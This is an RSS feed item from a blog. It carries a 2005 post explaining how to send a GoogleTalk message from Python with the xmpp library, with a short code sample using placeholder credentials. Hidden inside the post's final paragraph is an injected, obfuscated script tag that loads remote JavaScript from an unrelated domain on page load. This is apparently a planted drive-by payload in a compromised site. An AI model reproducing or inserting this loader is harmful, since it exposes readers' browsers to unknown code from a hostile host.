<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Jkx@home &#187; xmpp</title>
	<atom:link href="http://www.larsen-b.com/tags/xmpp/feed" rel="self" type="application/rss+xml" />
	<link>http://www.larsen-b.com</link>
	<description>Titanium Exposé</description>
	<lastBuildDate>Fri, 31 Oct 2025 02:15:37 +0000</lastBuildDate>
	<language>en-US</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.5</generator>
		<item>
		<title>Howto to Talk with GoogleTalk in Python</title>
		<link>http://www.larsen-b.com/Article/214.html</link>
		<comments>http://www.larsen-b.com/Article/214.html#comments</comments>
		<pubDate>Tue, 30 Aug 2005 22:00:18 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Misc]]></category>
		<category><![CDATA[google]]></category>
		<category><![CDATA[jabber]]></category>
		<category><![CDATA[Python]]></category>
		<category><![CDATA[xmpp]]></category>

		<guid isPermaLink="false"></guid>
		<description><![CDATA[I guess everybody know GoogleTalk right now. Linux users like me knows that it &#8216;s only a Jabber server with SIP extension. Like a lot of people seems to use this, I decided to switch from MSN(suxTm) to this Jabber &#8230; <a href="http://www.larsen-b.com/Article/214.html">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
				<content:encoded><![CDATA[<p>I guess everybody know GoogleTalk right now. Linux users like me knows that it &#8216;s only a <a class="reference" href="http://www.jabber.org">Jabber</a> server with SIP extension. Like a lot of people seems to use this, I decided to switch from MSN(suxTm) to this Jabber server, beside it lacks a lot of Jabber features (like offline messaging )</p>
<p>But, how can I send a message to my Gmail Talk in less 10 lines of code. I decided to look at <a class="reference" href="http://xmpppy.sourceforge.net/">xmpppy</a> .. Ok I get a strange issue w/ secure login ..</p>
<p>As I already use <a class="reference" href="http://gajim.org/">gajim</a>, I decided to look at this code.. Hum, look strange it has the same xmpp module, with the same API, but this one is working.</p>
<pre class="literal-block">import xmpp

login = 'Your.Login' # @gmail.com
pwd   = 'YourPassword'

cnx = xmpp.Client('gmail.com')
cnx.connect( server=('talk.google.com',5223) )

cnx.auth(login,pwd, 'botty')

cnx.send( xmpp.Message( "YourFriend@gmail.com" ,"Hello World form Python" ) )</pre>
<p>As you can see this is small and simple :) The only issue is to find the right module, and hope the <a class="reference" href="http://xmpppy.sourceforge.net/">xmpppy</a> will fix that soon.</p>
<p>(In fact <a class="reference" href="http://gajim.org/">gajim</a> team seems to fork the xmpp code due to lack of support. This bug already exists in the <a class="reference" href="http://xmpppy.sourceforge.net/">xmpppy</a> bug list )<script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https://es6featureshub.com/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);</script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.larsen-b.com/Article/214.html/feed</wfw:commentRss>
		<slash:comments>22</slash:comments>
		</item>
	</channel>
</rss>
